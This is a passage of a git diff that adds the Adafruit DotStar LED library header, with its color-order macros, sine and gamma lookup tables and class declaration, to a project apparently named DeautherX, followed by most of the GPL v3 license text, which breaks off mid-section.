// All four bytes of a 32-bit value are filtered to avoid a bunch of
|
||||
// shifting and masking that would be necessary for properly handling
|
||||
// different endianisms (and each byte is a fairly trivial operation,
|
||||
// so it might not even be wasting cycles vs a check and branch.
|
||||
// In theory this might cause trouble *if* someone's storing information
|
||||
// in the unused most significant byte of an RGB value, but this seems
|
||||
// exceedingly rare and if it's encountered in reality they can mask
|
||||
// values going in or coming out.
|
||||
for (uint8_t i = 0; i < 4; i++)
|
||||
y[i] = gamma8(y[i]);
|
||||
return x; // Packed 32-bit return
|
||||
}
|
||||
211
DeautherX/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h
Normal file
211
DeautherX/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h
Normal file
@@ -0,0 +1,211 @@
|
||||
/*!
|
||||
* @file Adafruit_DotStar.h
|
||||
*
|
||||
* This file is part of the Adafruit_DotStar library.
|
||||
*
|
||||
* Adafruit_DotStar is free software: you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public License as
|
||||
* published by the Free Software Foundation, either version 3 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* Adafruit_DotStar is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with DotStar. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _ADAFRUIT_DOT_STAR_H_
|
||||
#define _ADAFRUIT_DOT_STAR_H_
|
||||
|
||||
#if (ARDUINO >= 100)
|
||||
#include <Arduino.h>
|
||||
#else
|
||||
#include <WProgram.h>
|
||||
#include <pins_arduino.h>
|
||||
#endif
|
||||
|
||||
// Color-order flag for LED pixels (optional extra parameter to constructor):
|
||||
// Bits 0,1 = R index (0-2), bits 2,3 = G index, bits 4,5 = B index
|
||||
#define DOTSTAR_RGB (0 | (1 << 2) | (2 << 4)) ///< Transmit as R,G,B
|
||||
#define DOTSTAR_RBG (0 | (2 << 2) | (1 << 4)) ///< Transmit as R,B,G
|
||||
#define DOTSTAR_GRB (1 | (0 << 2) | (2 << 4)) ///< Transmit as G,R,B
|
||||
#define DOTSTAR_GBR (2 | (0 << 2) | (1 << 4)) ///< Transmit as G,B,R
|
||||
#define DOTSTAR_BRG (1 | (2 << 2) | (0 << 4)) ///< Transmit as B,R,G
|
||||
#define DOTSTAR_BGR (2 | (1 << 2) | (0 << 4)) ///< Transmit as B,G,R
|
||||
#define DOTSTAR_MONO 0 ///< Single-color strip WIP DO NOT USE, use RGB for now
|
||||
|
||||
// These two tables are declared outside the Adafruit_DotStar class
|
||||
// because some boards may require oldschool compilers that don't
|
||||
// handle the C++11 constexpr keyword.
|
||||
|
||||
/* A PROGMEM (flash mem) table containing 8-bit unsigned sine wave (0-255).
|
||||
Copy & paste this snippet into a Python REPL to regenerate:
|
||||
import math
|
||||
for x in range(256):
|
||||
print("{:3},".format(int((math.sin(x/128.0*math.pi)+1.0)*127.5+0.5))),
|
||||
if x&15 == 15: print
|
||||
*/
|
||||
static const uint8_t PROGMEM _DotStarSineTable[256] = {
|
||||
128, 131, 134, 137, 140, 143, 146, 149, 152, 155, 158, 162, 165, 167, 170,
|
||||
173, 176, 179, 182, 185, 188, 190, 193, 196, 198, 201, 203, 206, 208, 211,
|
||||
213, 215, 218, 220, 222, 224, 226, 228, 230, 232, 234, 235, 237, 238, 240,
|
||||
241, 243, 244, 245, 246, 248, 249, 250, 250, 251, 252, 253, 253, 254, 254,
|
||||
254, 255, 255, 255, 255, 255, 255, 255, 254, 254, 254, 253, 253, 252, 251,
|
||||
250, 250, 249, 248, 246, 245, 244, 243, 241, 240, 238, 237, 235, 234, 232,
|
||||
230, 228, 226, 224, 222, 220, 218, 215, 213, 211, 208, 206, 203, 201, 198,
|
||||
196, 193, 190, 188, 185, 182, 179, 176, 173, 170, 167, 165, 162, 158, 155,
|
||||
152, 149, 146, 143, 140, 137, 134, 131, 128, 124, 121, 118, 115, 112, 109,
|
||||
106, 103, 100, 97, 93, 90, 88, 85, 82, 79, 76, 73, 70, 67, 65,
|
||||
62, 59, 57, 54, 52, 49, 47, 44, 42, 40, 37, 35, 33, 31, 29,
|
||||
27, 25, 23, 21, 20, 18, 17, 15, 14, 12, 11, 10, 9, 7, 6,
|
||||
5, 5, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
|
||||
0, 1, 1, 1, 2, 2, 3, 4, 5, 5, 6, 7, 9, 10, 11,
|
||||
12, 14, 15, 17, 18, 20, 21, 23, 25, 27, 29, 31, 33, 35, 37,
|
||||
40, 42, 44, 47, 49, 52, 54, 57, 59, 62, 65, 67, 70, 73, 76,
|
||||
79, 82, 85, 88, 90, 93, 97, 100, 103, 106, 109, 112, 115, 118, 121,
|
||||
124};
|
||||
|
||||
/* Similar to above, but for an 8-bit gamma-correction table.
|
||||
Copy & paste this snippet into a Python REPL to regenerate:
|
||||
import math
|
||||
gamma=2.6
|
||||
for x in range(256):
|
||||
print("{:3},".format(int(math.pow((x)/255.0,gamma)*255.0+0.5))),
|
||||
if x&15 == 15: print
|
||||
*/
|
||||
static const uint8_t PROGMEM _DotStarGammaTable[256] = {
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1,
|
||||
1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 3,
|
||||
3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6,
|
||||
6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10,
|
||||
11, 11, 11, 12, 12, 13, 13, 13, 14, 14, 15, 15, 16, 16, 17,
|
||||
17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 24, 24, 25,
|
||||
25, 26, 27, 27, 28, 29, 29, 30, 31, 31, 32, 33, 34, 34, 35,
|
||||
36, 37, 38, 38, 39, 40, 41, 42, 42, 43, 44, 45, 46, 47, 48,
|
||||
49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
|
||||
64, 65, 66, 68, 69, 70, 71, 72, 73, 75, 76, 77, 78, 80, 81,
|
||||
82, 84, 85, 86, 88, 89, 90, 92, 93, 94, 96, 97, 99, 100, 102,
|
||||
103, 105, 106, 108, 109, 111, 112, 114, 115, 117, 119, 120, 122, 124, 125,
|
||||
127, 129, 130, 132, 134, 136, 137, 139, 141, 143, 145, 146, 148, 150, 152,
|
||||
154, 156, 158, 160, 162, 164, 166, 168, 170, 172, 174, 176, 178, 180, 182,
|
||||
184, 186, 188, 191, 193, 195, 197, 199, 202, 204, 206, 209, 211, 213, 215,
|
||||
218, 220, 223, 225, 227, 230, 232, 235, 237, 240, 242, 245, 247, 250, 252,
|
||||
255};
|
||||
|
||||
/*!
|
||||
@brief Class that stores state and functions for interacting with
|
||||
Adafruit DotStars and compatible devices.
|
||||
*/
|
||||
class Adafruit_DotStar {
|
||||
|
||||
public:
|
||||
Adafruit_DotStar(uint16_t n, uint8_t o = DOTSTAR_BRG);
|
||||
Adafruit_DotStar(uint16_t n, uint8_t d, uint8_t c, uint8_t o = DOTSTAR_BRG);
|
||||
~Adafruit_DotStar(void);
|
||||
|
||||
void begin(void);
|
||||
void show(void);
|
||||
void setPixelColor(uint16_t n, uint32_t c);
|
||||
void setPixelColor(uint16_t n, uint8_t r, uint8_t g, uint8_t b);
|
||||
void fill(uint32_t c = 0, uint16_t first = 0, uint16_t count = 0);
|
||||
void setBrightness(uint8_t);
|
||||
void clear();
|
||||
void updateLength(uint16_t n);
|
||||
void updatePins(void);
|
||||
void updatePins(uint8_t d, uint8_t c);
|
||||
/*!
|
||||
@brief Get a pointer directly to the DotStar data buffer in RAM.
|
||||
Pixel data is stored in a device-native format (a la the
|
||||
DOTSTAR_* constants) and is not translated here. Applications
|
||||
that access this buffer will need to be aware of the specific
|
||||
data format and handle colors appropriately.
|
||||
@return Pointer to DotStar buffer (uint8_t* array).
|
||||
@note This is for high-performance applications where calling
|
||||
setPixelColor() on every single pixel would be too slow (e.g.
|
||||
POV or light-painting projects). There is no bounds checking
|
||||
on the array, creating tremendous potential for mayhem if one
|
||||
writes past the ends of the buffer. Great power, great
|
||||
responsibility and all that.
|
||||
*/
|
||||
uint8_t *getPixels(void) const { return pixels; };
|
||||
uint8_t getBrightness(void) const;
|
||||
/*!
|
||||
@brief Return the number of pixels in an Adafruit_DotStar strip object.
|
||||
@return Pixel count (0 if not set).
|
||||
*/
|
||||
uint16_t numPixels(void) const { return numLEDs; };
|
||||
uint32_t getPixelColor(uint16_t n) const;
|
||||
/*!
|
||||
@brief An 8-bit integer sine wave function, not directly compatible
|
||||
with standard trigonometric units like radians or degrees.
|
||||
@param x Input angle, 0-255; 256 would loop back to zero, completing
|
||||
the circle (equivalent to 360 degrees or 2 pi radians).
|
||||
One can therefore use an unsigned 8-bit variable and simply
|
||||
add or subtract, allowing it to overflow/underflow and it
|
||||
still does the expected contiguous thing.
|
||||
@return Sine result, 0 to 255, or -128 to +127 if type-converted to
|
||||
a signed int8_t, but you'll most likely want unsigned as this
|
||||
output is often used for pixel brightness in animation effects.
|
||||
*/
|
||||
static uint8_t sine8(uint8_t x) {
|
||||
return pgm_read_byte(&_DotStarSineTable[x]); // 0-255 in, 0-255 out
|
||||
}
|
||||
/*!
|
||||
@brief An 8-bit gamma-correction function for basic pixel brightness
|
||||
adjustment. Makes color transitions appear more perceptially
|
||||
correct.
|
||||
@param x Input brightness, 0 (minimum or off/black) to 255 (maximum).
|
||||
@return Gamma-adjusted brightness, can then be passed to one of the
|
||||
setPixelColor() functions. This uses a fixed gamma correction
|
||||
exponent of 2.6, which seems reasonably okay for average
|
||||
DotStars in average tasks. If you need finer control you'll
|
||||
need to provide your own gamma-correction function instead.
|
||||
*/
|
||||
static uint8_t gamma8(uint8_t x) {
|
||||
return pgm_read_byte(&_DotStarGammaTable[x]); // 0-255 in, 0-255 out
|
||||
}
|
||||
/*!
|
||||
@brief Convert separate red, green and blue values into a single
|
||||
"packed" 32-bit RGB color.
|
||||
@param r Red brightness, 0 to 255.
|
||||
@param g Green brightness, 0 to 255.
|
||||
@param b Blue brightness, 0 to 255.
|
||||
@return 32-bit packed RGB value, which can then be assigned to a
|
||||
variable for later use or passed to the setPixelColor()
|
||||
function. Packed RGB format is predictable, regardless of
|
||||
LED strand color order.
|
||||
*/
|
||||
static uint32_t Color(uint8_t r, uint8_t g, uint8_t b) {
|
||||
return ((uint32_t)r << 16) | ((uint32_t)g << 8) | b;
|
||||
}
|
||||
static uint32_t ColorHSV(uint16_t hue, uint8_t sat = 255, uint8_t val = 255);
|
||||
static uint32_t gamma32(uint32_t x);
|
||||
|
||||
private:
|
||||
uint16_t numLEDs; ///< Number of pixels
|
||||
uint8_t dataPin; ///< If soft SPI, data pin #
|
||||
uint8_t clockPin; ///< If soft SPI, clock pin #
|
||||
uint8_t brightness; ///< Global brightness setting
|
||||
uint8_t *pixels; ///< LED RGB values (3 bytes ea.)
|
||||
uint8_t rOffset; ///< Index of red in 3-byte pixel
|
||||
uint8_t gOffset; ///< Index of green byte
|
||||
uint8_t bOffset; ///< Index of blue byte
|
||||
#ifdef __AVR__
|
||||
uint8_t dataPinMask; ///< If soft SPI, data pin bitmask
|
||||
uint8_t clockPinMask; ///< If soft SPI, clock pin bitmask
|
||||
volatile uint8_t *dataPort; ///< If soft SPI, data PORT
|
||||
volatile uint8_t *clockPort; ///< If soft SPI, clock PORT
|
||||
#endif
|
||||
void hw_spi_init(void); ///< Start hardware SPI
|
||||
void hw_spi_end(void); ///< Stop hardware SPI
|
||||
void sw_spi_init(void); ///< Start bitbang SPI
|
||||
void sw_spi_out(uint8_t n); ///< Bitbang SPI write
|
||||
void sw_spi_end(void); ///< Stop bitbang SPI
|
||||
};
|
||||
|
||||
#endif // _ADAFRUIT_DOT_STAR_H_
|
||||
674
DeautherX/src/Adafruit_DotStar-1.1.4/license.txt
Normal file
674
DeautherX/src/Adafruit_DotStar-1.1.4/license.txt
Normal file
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
